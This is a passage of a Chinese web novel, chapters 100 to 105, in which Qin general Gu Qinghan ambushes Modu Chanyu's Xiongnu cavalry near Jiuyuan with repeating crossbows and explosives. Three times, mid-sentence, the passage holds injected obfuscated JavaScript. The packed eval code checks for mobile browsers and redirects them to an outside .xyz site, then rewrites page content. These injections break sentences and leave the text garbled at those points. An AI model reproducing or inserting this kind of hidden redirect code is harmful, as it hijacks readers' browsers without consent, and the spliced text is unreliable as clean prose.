他看向李山河:“山河,你麾下斥候营,是时候真正亮剑了。挑选精锐,配合暴雨梨花**和少量**,给我把匈奴那些游骑,一个个拔掉!记住,动静要大,但人要安全回来。” “顾少放心!”李山河眼中战意升腾。 斥候营本就是尖刀,如今有了神兵利器,更是如虎添翼。 顾清寒又看向牛辅:“牛辅,你带本部人马,在九原城外三十里内,给我布下几个口袋。一旦发现匈奴游骑主力,配合斥候营,给我狠狠地打!” “得令!”牛辅摩拳擦掌,“早就手痒了!” “石猛,”顾清寒最后看向石猛,“你率亲卫营,坐镇中军,随时准备接应。同时,盯紧了城里那些‘客人’,别让他们到处乱窜。” 石猛默默点头。 “这一仗,我们不求杀敌多少,但求震慑。”顾清寒总结道,“我要让冒顿寝食难安,让他知道,他面对的,不是一群只知道守城的绵羊,而是一群会主动出击的饿狼!我要让他麾下的那些部落头领,对他彻底失去信心!” 这便是顾清寒的“第二份大礼”——以雷霆手段清除匈奴游骑,断其爪牙,乱其心志,不断蚕食其力量,同时进一步扩大“妖雷”的恐怖传说。 李贤这几日过得颇为充实。 他每日都会去工匠营转转,名为巡视,实则想多看些门道。 结果,他看到的却是公输墨等少府大匠,围着梧桐村那几个土老帽工匠,虚心请教各种稀奇古怪的工具用法,甚至还为了一些技术细节争得面红耳赤。 “这……这成何体统!” 李贤心中腹诽,却也无可奈何。 他算是看明白了,顾清寒这小子,蔫坏蔫坏的,不出手则已,一出手就捏住了七寸。 当他听闻顾清寒派兵主动出击,清剿匈奴游骑时,更是大惊失色,急忙跑来劝阻:“顾将军,匈奴势大,我军兵力不足,当以固守为上,万不可轻敌冒进啊!” 顾清寒依旧是那副笑眯眯的模样:“李大人放心,小子自有分寸。些许蟊贼,不足挂齿。大人还是安坐府中,静候佳音便是。” 李贤被噎得说不出话,只能眼睁睁看着破阵营的队伍,一队队开出九原城,消失在茫茫的北地原野中。 他心中升起一种荒谬的感觉:自己这个朝廷钦差,在这九原城中,倒像是个局外人,唯一的作用,似乎就是将此地发生的一切,原原本本地写进奏报,送回咸阳,让那位高高在上的始皇帝,也跟着一起“惊喜”或者“惊吓”。 北风渐起,九原城外的猎杀游戏,已然拉开序幕。 这一次,顾清寒要让冒顿知道,什么叫真正的虽远必诛。 九原城外,北风呼啸,卷起漫天黄沙。 但这肃杀的北地风光,在破阵营将士眼中,却成了天然的猎场。 李山河率领的斥候营,如同草原上最矫健的猎鹰,化整为零,散布在九原郡外围百里的区域内。 他们两人一组,三人一队,皆是精锐中的精锐,胯下战马神骏,背负暴雨梨花**,腰间除了秦剑,还藏着几枚特制的小型**,那是顾清寒专门为斥候游击战准备的袖中雷。 一处枯黄的草坡后,李山河眯着独眼,观察着远处一支约莫三十余骑的匈奴游骑。 那伙匈奴兵正驱赶着十几个被掳掠的秦地百姓,有老有少,哭喊声被风吹得断断续续。 “**的!”李山河身边一名年轻斥候咬牙骂道。 李山河做了个手势,示意他冷静。 他观察片刻,对身边几名斥候低声道:“看准了,先射马,再射人。救下百姓后,不必恋战,引他们往西边三号伏击点。” “是!” 几名斥候悄无声息地散开,占据有利地形。 李山河深吸一口气,端起了手中的暴雨梨花**。 这种经过改良的连**,射程虽不及军中制式强**,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705774|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胜在轻便,且能瞬间泼洒出密集的箭雨,对付轻骑兵尤为有效。 “放!” 随着李山河一声低喝,数道乌光破空而出。 匈奴游骑队伍中,冲在最前面的几匹战马应声悲鸣倒地,马上的匈奴兵猝不及防,被掀翻在地。 “敌袭!” 匈奴游骑的头目厉声呼喝,拔出弯刀四下张望。 不等他们反应过来,第二轮箭雨已至。 这次的目标是那些企图组织反击的匈奴兵。 狭长的**箭穿透简陋的皮甲,带起一蓬蓬血雾。 “噗噗噗!” 惨叫声此起彼伏。 那伙匈奴游骑哪里见过这等阵仗,只觉得四面八方都是箭矢,根本不知道敌人藏在何处,有多少人。 “撤!快撤!” 匈奴头目惊骇欲绝,也顾不上那些掳掠来的百姓和同伴的尸体,拨马便逃。 “想跑?” 李山河冷笑一声,从怀中摸出一枚袖中雷,拉开引线,奋力掷出。 那小铁球在空中划过一道弧线,准确地落入逃窜的匈奴兵中间。 “轰!” 一声闷响,火光乍现,碎石铁片四射。 虽然威力不及大号**,但对付这些毫无防备的散兵游勇,已是绰绰有余。 两名靠得近的匈奴兵直接被炸飞,余下的更是吓得魂飞魄散,连滚带爬地向西逃去。 被掳的百姓们惊魂未定,看着从草坡后现身的秦军斥候,一时间竟忘了哭泣。 李山河命人解救百姓,简单安抚几句,便派人护送他们回九原,自己则带着主力,不紧不慢地缀上了那伙逃窜的匈奴游骑。 类似的场景,在九原郡外围各处不断上演。 破阵营的斥候,如同鬼魅般出没,利用熟悉的地形和手中的利器,不断蚕食着匈奴人的游骑队伍。 他们时而突袭,时而设伏,时而用袖中雷制造混乱,打得匈奴游骑晕头转向,苦不堪言。 消息雪片般传回匈奴大营,冒顿单于的帅帐内,气氛一日比一日凝重。 “废物!一群废物!”冒顿将手中的情报狠狠摔在地上,“派出去上百支游骑,竟然连秦军的影子都没摸清,反而折损了近半!那些秦人,难道会飞天遁地不成?” 第101章 究竟是何方妖孽! 第一百零一章究竟是何方妖孽! 帐下几名部落头领噤若寒蝉。 其中一名小心翼翼地开口:“单于,秦军此次……确实古怪。据逃回来的勇士说,他们有一种能连发的**,箭如雨下,还有一种会**的妖雷,小的只有拳头大小,却能炸死炸伤数人。我们的人,根本近不了身。” “妖雷!又是妖雷!”冒顿双眼赤红,“那个顾清寒,究竟是何方妖孽!” 他本想通过游骑劫掠,一来补充粮草,二来给九原施压,打击秦军士气。 却没想到,反被对方拔掉了自己的爪牙,搞得自己成了睁眼瞎。 而在九原城北三十里外的一处山坳,牛辅正带着他的一千弟兄,埋伏在此。 “顾少说了,这叫‘守株待兔’!”牛辅压低声音,对身边的副将显摆着刚学来的词儿,“咱们就在这儿等着,保管有大鱼上钩!” 副将咧嘴一笑:“都统,咱们这‘兔子’,怕是有些凶猛了。” 他们埋伏的地点,正是顾清寒根据斥候情报,预判的匈奴游骑可能经过的几条路线之一。 此处地势狭窄,两面环山,是设伏的绝佳地点。 等了约莫半个时辰,远处的山口终于出现了匈奴人的身影。 那是一支约有两百余骑的匈奴队伍,看旗号,似乎是某个大部落的精锐。 “来了!来了!” 牛辅眼睛一亮,抄起了身边的重型暴雨梨花**,“弟兄们,准备好了!听我号令,给他们来个狠的!” 待匈奴骑兵大半进入伏击圈,牛辅猛地站起身,厉声大喝:“放!” 山坳两侧,早已准备就绪的破阵营将士同时发难。 数十架暴雨梨花**喷吐出致命的箭雨,如同数十条毒蛇,噬向毫无防备的匈奴骑兵。 “嗖嗖嗖!” 密集的箭矢瞬间覆盖了匈奴人的队伍。 人喊马嘶,乱作一团。 “轰!轰!轰!” 紧接着,十余枚**从天而降,准确地砸入匈奴骑兵最密集之处。 震耳欲聋的**声中,火光冲天,血肉横飞。 坚硬的地面仿佛都在颤抖。 那支匈奴精锐骑兵,在第一轮打击下,便已损失过半。 侥幸未死的,也被这突如其来的雷霆之击吓破了胆,纷纷拨马想要逃离这片死亡之地。 “杀!”牛辅一马当先,端着重**,如猛虎下山般冲了出去,“**的匈奴崽子,你牛爷爷送你们上西天!” 破阵营将士们呐喊着,从两侧包抄而上,将残余的匈奴兵分割包围。 这场战斗并无太多悬念。 在暴雨梨花**和**的绝对火力压制下,匈奴人的勇猛显得苍白无力。 不过一炷香的功夫,战斗便已结束。 遍地都是匈奴人的尸体和受惊的战马。 “痛快!太**痛快了!” 牛辅抹了把脸上的血污,哈哈大笑,“顾少这法子,就是管用!打得这些狗崽子哭爹喊娘!” 他命人打扫战场,收缴战利品,尤其是那些完好的战马和兵器。 九原城,郡守府。 李贤这几日坐立不安。他每日都能听到城外传来隐约的喊杀声和**声,心中七上八下。 他派去打探消息的属官,回报来的都是破阵营又歼灭了多少匈奴游骑,缴获了多少战马牛羊。 “这顾清寒……当真是用兵如神?”李贤心中疑窦丛生。 他原以为顾清寒不过是仗着新式武器侥幸取胜,可这几日看来,其排兵布阵,指挥调度,皆有章法,绝非莽夫所为。 那几位少府的工匠,更是彻底没了脾气。 他们每日跟着梧桐村的工匠,摆弄着那些看似简陋却精巧无比的工具,听着他们讲解各种“土法子”,如同打开了新世界的大门。 公输墨更是将那个小小的“碎矿器”奉为至宝,每日研究不休。 他发现,这东西不仅能处理铁矿,稍加改造,还能用于处理其他石料,甚至能用于粮食脱壳。 其背后的杠杆原理和齿轮传动,更是让他茅塞顿开。 “奇才!那顾将军,当真是奇才啊!” 公输墨抚着胡须,对李贤感慨道,“他那些看似不起眼的玩意儿,实则蕴含大道至理。我等在少府多年,固步自封,竟不如这乡野村夫看得透彻!” 李贤听着,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705775|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中更是百感交集。 他亲眼看到,在梧桐村工匠的指点下,少府工匠们利用九原本地的劣质铁料,竟然真的打造出了一批堪用的箭簇和修补零件,其效率比他们之前的方法高出数倍。 “大人,顾将军请您过去一趟,说是又有捷报。”属官前来禀报。 李贤连忙整理衣冠,赶往议事厅。 顾清寒依旧是那副云淡风轻的模样,仿佛刚刚取得的一连串胜利,不过是微不足道的小事。 “李大人,这是这三日清剿匈奴游骑的战果汇总,以及部分缴获清单,还请大人过目,也好尽快修书上报陛下。”顾清寒将一份帛书递给李贤。 李贤接过,展开细看。 只见上面密密麻麻记录着:三日之内,破阵营共与匈奴游骑交战二十余次,歼敌一千三百余人,俘虏近百,缴获战马两千余匹,牛羊数千头,各类皮毛兵器无算。而破阵营自身伤亡,不过数十人。 “嘶——”李贤倒吸一口凉气。 这哪里是清剿游骑,这分明是一场一边倒的**! “顾将军……这……这战果,未免太过惊人了些。”李贤声音有些发干。 顾清寒微微一笑:“匈奴游骑,不过是些散兵游勇,仗着马快罢了。在我破阵营将士面前,不足为惧。只是,如此一来,冒顿单于怕是要狗急跳墙了。” 他话音刚落,李山河匆匆从外面走了进来,神色凝重:“顾少,斥候最新消息,匈奴大营方向,有异动!冒顿似乎集结了主力,正向九原方向移动,看样子,是想跟咱们决一死战了!” 李贤一听,脸色顿时煞白:“什……什么?匈奴主力杀过来了?” 顾清寒眼中却闪过一丝兴奋的光芒,嘴角勾起一抹冷冽的弧度:“来得好!我等的就是他!” 他猛地站起身,走到沙盘前,目光如电,扫过九原周边的地形。 “传我将令!”顾清寒的声音不大,却带着不容置疑的威严,“破阵营,全军集结!准备迎敌!这一次,我要让冒顿单于知道,九原城,是他永远无法逾越的铁壁!也是他匈奴大军的葬身之地!” 北疆的风,似乎更冷了。 一场更大的风暴,即将来临。 第102章 冒顿亲临 顾帅设局 第一百零二章冒顿亲临顾帅设局 李贤只觉得眼前一黑,险些栽倒在地。 匈奴主力? 决一死战? 那得有多少人? 数万?十数万? 他两股战战,嘴唇哆嗦着,几乎说不出一句完整的话:“顾……顾将军……万万不可啊!匈奴势大,我军……我军兵力悬殊,当……当据城坚守,再……再徐图缓兵之计,万不可浪战啊!” 顾清寒看都未看他一眼,目光依旧紧锁在沙盘之上,手指在九原城周边几个点位上轻轻敲击。 那沉稳的姿态,与李贤的魂飞魄散形成了鲜明对比。 “李大人,”顾清寒终于开口,声音平静无波,却带着一股不容置疑的决断,“冒顿被我等拔了爪牙,断了耳目,如今倾巢而出,乃是困兽之斗,看似凶猛,实则已失先机。他想一战定乾坤,我便遂了他的愿。” 他转过身,环视帐内众人:“李左车将军!” “末将在!”李左车踏前一步,甲胄锵然。 连日来,他对顾清寒的信心早已提升到了顶点。 “九原城防,便交由将军全权负责。你部将士,虽经苦战,但守土保民之心不变。关键时刻,我需要你从城内给予匈奴致命一击。”顾清寒道。 李左车精神一振,慨然领命:“将军放心!只要末将还有一口气在,九原城便固若金汤!城中尚有三千可战之兵,愿听将军调遣,与破阵营将士共击匈奴!” 顾清寒点点头,又看向石猛:“石猛,你率一千亲卫营精锐,携带所有**,于城东十里外的黑风口设伏。那里地势险要,是匈奴大军的必经之路。我要你,在他们锐气最盛之时,给他们当头一棒!记住,一击即退,不可恋战,将他们引入我预设的战场。” 石猛抱拳:“属下明白。” “牛辅!” “顾少,俺在!”牛辅早就按捺不住,一双牛眼瞪得溜圆,满是兴奋。 “你率本部两千人马,携带所有暴雨梨花**,于城北五里坡埋伏。那里视野开阔,利于**箭发挥。待匈奴主力被石猛惊扰,阵型散乱,必然会分兵追击,你便给我狠狠地打!将他们彻底打残,打怕!” “得令!顾少瞧好吧!俺保证把那些匈奴崽子射成刺猬!”牛辅拍着胸脯,唾沫星子横飞。 “李山河!” “属下在!” “你率斥候营,监视匈奴大军动向,及时传递军情。同时,在匈奴大军后方袭扰,放火烧营,制造混乱,让他们首尾不能相顾。” “是!顾少!”李山河眼中闪烁着嗜血的光芒,这种活计,他最是擅长。 部署完毕,顾清寒目光扫过众人,沉声道:“诸位,此战,关乎九原存亡,关乎大秦北疆安危。我破阵营自成立以来,未尝一败。今日,亦然!我要让冒顿知道,九原城,是他匈奴永远无法逾越的铁壁!更是他大军的葬身之地!” “愿为顾少死战!”牛辅等人齐声怒吼,声震屋瓦。 李贤在一旁听得心惊肉跳,这顾清寒,竟然不守城,还要主动出击,分兵设伏? 这……这不是拿鸡蛋碰石头吗? 他张了张嘴,想再劝几句,可见顾清寒那副成竹在胸的模样,以及帐内将士们高昂的战意,话到嘴边又咽了回去。 他现在算是明白了,自己在这位顾将军面前,根本说不上话。 “李大人,”顾清寒似笑非笑地看着他,“城中尚算安全。大人若是不放心,可随李左车将军上城头观战。也好看一看,我破阵营将士,是如何痛击匈奴的。” 李贤一张脸憋得通红,观战? 他怕自己还没看清战况,就先被吓破了胆。 他勉强挤出一丝比哭还难看的笑容:“顾将军……用兵如神,本官……本官自然是放心的。本官便在府中,静候将军佳音。” 说完,几乎是落荒而逃。 看着李贤狼狈的背影,牛辅不屑地撇撇嘴:“顾少,这老小子,胆子比兔子还小。” 顾清寒摆摆手:“不必管他。传令下去,各部依计行事,一个时辰后,准时出发!” “是!” 一时间,整个九原城都动了起来。 破阵营将士磨刀霍霍,检查弓**,搬运**。 李左车也紧急调集城中守军,加固城防,准备滚石擂木。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705776|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 空气中弥漫着大战来临前的紧张与肃杀。 那十几名少府工匠,也被这突如其来的变故惊得不轻。 公输墨找到顾清寒,脸上带着几分惶恐:“顾将军,听闻匈奴主力来犯,我等……我等手无缚鸡之力,若是城破……” 顾清寒笑道:“公输大匠不必惊慌。九原城固若金汤,匈奴人休想踏进一步。诸位安心在城内便是。对了,此次作战,我军可能会用到一些新的守城器械,说不定,还需要诸位大匠临时帮些小忙,改良一二。” 公输墨一愣,随即眼中闪过一丝异彩。 新的守城器械? 莫非……又是那顾将军的奇思妙想? 他连忙拱手:“将军若有差遣,我等定当尽力。” 心中那点恐惧,竟被对新技术的期待冲淡了几分。 顾清寒微微颔首,心中暗笑,这些技术宅,果然一点就通。 乌梁素海,匈奴大营。 冒顿单于身披重甲,腰悬弯刀,立于高坡之上,遥望南方。 他身后,是黑压压一片望不到头的匈奴大军,旌旗招展,杀气腾腾。 连日来被顾清寒的游击战术骚扰得焦头烂额,麾下部落怨声载道,让他这位草原雄主颜面尽失,怒火中烧。 尤其是那“妖雷”的传说,更是在军中造成了不小的恐慌。 “顾清寒!”冒顿咬牙切齿,眼中燃烧着复仇的火焰,“本单于倒要看看,你那三千残兵,还有你那所谓的妖雷,如何抵挡我十万匈奴铁骑的雷霆一击!” 他已经下令,此战不接受投降,不留活口,定要将九原城屠戮殆尽,用秦人的鲜血,洗刷匈奴勇士所受的耻辱。 “传令!全军出击!目标,九原城!踏平九原,生擒顾清寒!”冒顿猛地抽出弯刀,向前一指。 “嗷呜——!” 十万匈奴大军,如同决堤的洪流,卷起漫天烟尘,向着九原城方向汹涌而去。 九原城头,李左车拄剑而立,面色凝重。 远方天际,一条黑线正迅速扩大,那是匈奴人的先头部队。 “将军,匈奴人来了!”一名副将声音有些颤抖。 第103章 五里坡箭雨 匈奴胆寒 第一百零三章五里坡箭雨匈奴胆寒 李左车深吸一口气:“慌什么!顾将军早有安排!传令下去,**手准备!没有我的命令,不许放箭!” 城外,黑风口。 石猛和他的一千亲卫营将士,早已埋伏在两侧山林之中。 他们人人屏息凝神,手中的**引线已经备好。 “来了。”石猛看着越来越近的匈奴先锋,低声说道。 匈奴先锋约有五千骑,如狼似虎,气势汹汹。 他们丝毫没有察觉到,死亡的陷阱,已经悄然张开。 当匈奴先锋大半进入黑风口狭窄的谷道时,石猛眼中寒光一闪,猛地挥手:“放!” “轰隆隆——!” 数十枚**,如同天降神罚,呼啸着砸入密集的匈奴骑兵队伍中。 震耳欲聋的**声响彻山谷,火光冲天,碎石与残肢断臂齐飞。 匈奴骑兵人仰马翻,惨叫声不绝于耳。 坚固的谷道,瞬间变成了人间炼狱。 那些平日里凶悍无比的匈奴勇士,何曾见过这等阵仗? 许多人直接被炸懵了,战马受惊,四处狂奔,将本就混乱的阵型搅得更加不堪。 “妖雷!是秦人的妖雷!” “天神发怒了!” 恐慌如同瘟疫般蔓延。 “稳住!稳住!”匈奴先锋将领声嘶力竭地呼喊,试图重整队伍。 然而,回答他的,是第二轮**的轰鸣。 石猛冷静地看着这一切,待两轮轰炸过后,他果断下令:“撤!按计划行事!” 一千亲卫营将士,如同鬼魅般消失在山林之中,只留下满目疮痍的战场和惊魂未定的匈奴残兵。 匈奴中军,冒顿单于听到前方传来的巨大**声,脸色一变:“怎么回事?前方发生了什么?” 很快,有败兵狼狈逃回:“单于!不好了!先锋部队在黑风口遭遇秦军埋伏!秦军使用了妖雷!我军……我军伤亡惨重!” “什么?!”冒顿大怒,“顾清寒!又是你!传令!大军加速前进,给我碾碎他们!” 他以为这只是顾清寒的小股部队骚扰,却不知,这只是顾清寒为他准备的“开胃小菜”。 更大的杀局,还在后面。 九原城北,五里坡。 牛辅舔了舔干裂的嘴唇,眼中闪烁着兴奋的光芒:“顾少真是神机妙算!那些匈奴崽子,果然被石猛兄弟给引过来了!” 只见远方烟尘滚滚,一支约有万余人的匈奴骑兵,正气势汹汹地追赶而来,看样子是想将石猛的“诱饵”部队一口吃掉。 “弟兄们!准备好了!”牛辅举起了手中的重型暴雨梨花**,“等他们再近些,给老子狠狠地射!让他们知道,什么叫箭雨!” 破阵营的将士们,早已依托有利地形,将数十架暴雨梨花**对准了匈奴骑兵即将经过的开阔地。 那支匈奴追兵,急于追击,根本没有注意到两侧山坡上的异样。 当他们一头扎进破阵营的伏击圈时,牛辅猛地大吼一声:“放箭!” “放箭!” 牛辅的吼声未落,五里坡两侧山坡之上,数十架暴雨梨花**同时发出了令人牙酸的机括弹射之声。 “嗖嗖嗖嗖——!” 刹那间,无数闪烁着寒芒的**箭,如乌云,似蝗群,罩向了毫无防备的匈奴骑兵。 那万余匈奴追兵,前一刻还气焰嚣张,欲追石猛部败兵以求功。 此刻,刚入五里坡开阔地,迎面便是死亡镰刀。 “噗!噗!噗!噗!” 密集的**箭轻易洞穿了匈奴骑兵简陋的皮甲,甚至直接贯穿了他们的身体。 冲在最前面的数百骑,瞬间被射成刺猬,连惨叫都来不及发出,便纷纷栽下马来。 战马悲嘶,骑士哀嚎。 原本整齐的冲锋队列,如巨石入湖,瞬间混乱。 “敌袭!有埋伏!” “是秦人的连**!” 匈奴队伍中爆发出惊恐的呼喊。 一些反应快的匈奴兵试图举起盾牌,或是伏在马背上躲避,但在如此密集的箭雨之下,皆是徒劳。 暴雨梨花**的特点便是覆盖性射击,无差别攻击,让敌人无处可藏。 “哈哈哈!射!给老子狠狠地射!让他们尝尝咱们破阵营的厉害!” 牛辅端着一架特制的重型暴雨梨花**,亲自操 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有匈奴百夫长、千夫长试图组织抵抗,但他们的声音很快便被淹没在箭雨和惨叫声中。 箭雨持续了足足一刻钟。 当**箭的呼啸声终于减弱,五里坡上,那万余匈奴追兵,已然倒下了至少三四千人。 余下的,也大多带伤,士气彻底崩溃,瑟瑟发抖,如待宰羔羊。 “差不多了。”顾清寒的声音通过一种特殊的哨音传到了牛辅耳中。 这是他们事先约定好的信号。 牛辅意犹未尽地咂咂嘴:“弟兄们,换家伙!给他们来点更刺激的!” 随着牛辅一声令下,一部分破阵营将士收起了暴雨梨花**,取出了早已准备好的**。 “轰!” “轰隆隆!” 又是熟悉的雷鸣之声。 虽然数量不如黑风口那般密集,但对于这些已经吓破了胆的匈奴残兵而言,这无疑是压垮他们的最后稻草。 “妖雷!又是妖雷!” “魔鬼!他们是魔鬼!” 残存的匈奴兵彻底崩溃了,他们扔掉武器,哭喊着四散奔逃,只恨少生两腿。 第104章 匈奴接连惨败 第一百零四章匈奴接连惨败 “杀!”牛辅一挥手,早已按捺不住的破阵营步战士兵,如猛虎下山般从两侧山坡冲下,对那些溃不成军的匈奴兵展开了最后的追杀。 匈奴中军大帐。 冒顿单于正焦躁地等待着前方的消息。 黑风口的**声让他心神不宁,派去追击的万余精骑,按理说也该有消息传回了。 就在此时,一名亲卫滚爬入帐,声音带着哭腔:“单于!不好了!骨咄侯的万人队……在五里坡遭遇秦军主力伏击……全……全军覆没了!” “什么?!”冒顿猛地站起身,一把揪住那亲卫的衣襟,双目赤红,“你说什么?再说一遍!” 那亲卫吓得魂飞魄散,颤声道:“骨咄侯……骨咄侯的万人队,被秦军用连**和妖雷……打散了,逃回来的……不足两千人,骨咄侯……战**……” “砰!”冒顿一脚将身前的案几踹翻,上面的羊皮地图和酒具散落一地。 “顾清寒!”他从牙缝里挤出这个名字,额头上青筋暴起,脸上的肌肉因极度的愤怒而扭曲,“又是连**!又是妖雷!这个顾清寒,他究竟有多少这种鬼东西!” 帐内的其他匈奴头领和谋士们,一个个面如土色,大气都不敢出。 黑风口的惨败,他们还可以归咎于地利和秦军的偷袭。 但五里坡,那可是开阔地,骨咄侯率领的是万余精锐骑兵,竟然也被打得如此凄惨! 这说明秦军的实力,远超他们的想象。 尤其是那连**和妖雷,简直是匈奴骑兵的克星。 一名须发花白的萨满祭司颤巍巍地开口:“单于……秦人……秦人恐有天神相助,那妖雷……非人力所能及啊。我军……我军还是暂避其锋,从长计议吧。” “暂避其锋?从长计议?”冒顿猛地回头,凶狠的目光扫过萨满,“本单于的十万大军,难道要被区区几千秦军吓退吗?传令下去,各部稳住阵脚,收拢溃兵,大军继续向九原推进!本单于不信,他顾清寒能把整个草原都布满陷阱!” 他虽暴怒,心中亦生寒意。 这个顾清寒,用兵诡诈,手段狠辣,层出不穷的新式武器更是让人防不胜防。 他感觉陷入无形大网,每一步都走得异常艰难。 “还有,”冒顿眼中闪过一丝决绝,“告诉各部落的勇士,谁能斩下顾清寒的头颅,赏牛羊万头,奴隶千人,封万户侯!” 重赏之下,必有勇夫。 他要用悬赏来激起麾下勇士的血性,对抗那无形的恐惧。 …… 九原城楼上,李贤扶着墙垛,脸色苍白如纸。 城外接连传来的巨大**声和隐约的喊杀声,让他坐立不安。 闻五里坡大捷,李左车派人告之,他几乎不敢相信自己的耳朵。 “又……又赢了?歼敌数千,自身伤亡……轻微?” 李贤喃喃自语,只觉此世疯狂。 那顾清寒,究竟是什么妖孽转世? 这仗,还能这么打? 他原本还抱着一丝侥幸,认为顾清寒不过是运气好。 但接二连三的胜利,尤其是这种以少胜多,近乎碾压式的胜利,击碎他最后倨傲。 “陛下啊陛下,您究竟从哪里找来这么个……这么个怪物啊!” 李贤心中哀嚎,对嬴政的敬畏又深了一层。 他忽然觉得,自己这次来九原,名为宣慰,实则是见证一搅动风云的妖星升起。 而此刻,顾清寒正站在九原城最高的望楼上,目光平静地注视着北方。 他知道,冒顿不会就此罢休。 真正的硬仗,还在后头。 五里坡的胜利,只是进一步削弱了匈奴的兵力,更重要的是,将恐惧的种子,更深地埋入了匈奴人的心中。 “冒顿,你的十万大军,现在还剩多少能战之兵呢?” 顾清寒嘴角勾起一抹冷冽的弧度,“我的大礼,可还没送完呢。” 他要一步步蚕食,一点点瓦解,直到冒顿彻底失去与他决战的勇气和本钱。 这北疆的猎场,他才是真正的猎手。 ...... 冒顿单于的帅旗下,十万大军的残余部队,如今只剩下不足七万。 黑风口与五里坡的两次伏击,如同两记重锤,狠狠砸在匈奴人的心头。 普通士卒还好,他们只知道秦军的“妖雷”和“连**”厉害,真正让他们胆寒的,是那种未见敌人、先损大半的无力与恐惧。 各部落的头领们,此刻**在冒顿临时搭建的行军大 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“什么?”冒顿先是一愣,随即眼中爆发出狂喜与凶戾交织的光芒,“顾清寒小儿,竟敢出城与我决战?好!好得很!他以为凭着那些妖物,就能与我匈奴铁骑正面抗衡吗?传我将令!全军加速,今日,本单于要亲手撕碎他!” 他心中的一丝不安,被这突如其来的良机冲散。 在他看来,顾清寒放弃城池之利,出城野战,无疑是自寻死路。 九原城南,十里坡。 此处地势略有起伏,但总体相对开阔,并非险要之地。 破阵营三千将士,军容整齐,玄甲如墨,在晨光下闪烁着冰冷的寒芒。 顾清寒一袭青衫,立于阵前,身旁是石猛、牛辅、李山河等将。 “顾少,匈奴人真会来吗?俺瞅着这地方,也没啥埋伏的好搞头啊。” 牛辅摸着后脑勺,有些不解。 前两次伏击打得过瘾,他对这种堂堂正正的阵地战,反而觉得不够刺激。 顾清寒微微一笑:“冒顿现在是惊弓之鸟,也是一头被激怒的饿狼。他最怕的,是我们躲在城里,用那些他不了解的东西消耗他。如今我们主动出城列阵,他只会觉得我们狂妄自大,给了他一雪前耻的机会。” 李山河独眼中闪过一丝了然:“顾少的意思是,示敌以弱,诱其强攻?” 第105章 诱敌深 入 环环相扣 第一百零五章诱敌深入环环相扣 “不全是。”顾清寒遥望北方隐约可见的烟尘,“我要让他看到‘希望’,然后,再将这希望彻底碾碎。今日这一战,不仅要打疼他,更要打断他的脊梁骨!” 李贤此刻正站在九原城楼上,身边是面色凝重的李左车。当他听闻顾清寒竟率主力出城迎战时,差点一口气没上来,直接晕过去。 “李将军,这……这顾将军,他……他这是要做什么?匈奴主力尚有数万之众,他以三千兵马出城野战,岂非……岂非以卵击石?”李贤急得直跺脚。 李左车目光复杂地看着城外那支严整的军队,沉声道:“李大人,顾将军行事,自有其道理。我等如今,唯有信他。我已经按照顾将军的吩咐,在城内做好了准备。” 他心中同样充满疑虑,但连日的奇迹,让他对顾清寒产生了一种近乎盲目的信任。 城外,破阵营阵中。 “顾少,那些新玩意儿,真的管用吗?”牛辅凑到顾清寒身边,小声问道,指了指阵地前方一些看似寻常的土堆和拒马。 顾清寒神秘一笑:“管不管用,待会儿匈奴人替我们试试就知道了。告诉弟兄们,一会儿打起来,别慌,一切按我教的法子来。记住,咱们破阵营,打的不仅是勇武,更是脑子。” 不多时,地平线上,匈奴大军的先头部队如同黑色的潮水般涌现,马蹄声如雷,卷起漫天沙尘。 冒顿单于亲率中军,立于一处高坡,看着十里坡上那支孤零零的秦军,眼中闪过一丝轻蔑。 “三千人?就凭这点人,也敢与我匈奴大军抗衡?”冒顿冷笑,“传令左贤王,率两万铁骑为先锋,给我冲垮他们!本单于要让顾清寒知道,在绝对的实力面前,任何阴谋诡计都是徒劳!” “嗷呜——!” 匈奴左贤王领命,兴奋地嚎叫一声,率领两万骑兵,如出笼的猛兽,向着破阵营的阵地发起了潮水般的冲锋。马蹄翻飞,杀气腾腾,大地震颤。 城楼上的李贤看到这一幕,两眼一黑,几乎站立不稳,幸好被身边的亲兵扶住。 “完了……全完了……”他面如死灰,喃喃自语。 破阵营阵前,顾清寒依旧神色平静,仿佛那汹涌而来的两万铁骑不过是土鸡瓦狗。 他缓缓举起右手。 阵中将士,屏息凝神,目光紧紧盯着他的手势。 当匈奴骑兵冲至距离阵地不足三百步时,顾清寒的右手猛然挥下! “放!” 随着他一声令下,破阵营阵地前方,突然爆发出震耳欲聋的巨响! “轰!轰!轰!轰!轰!” 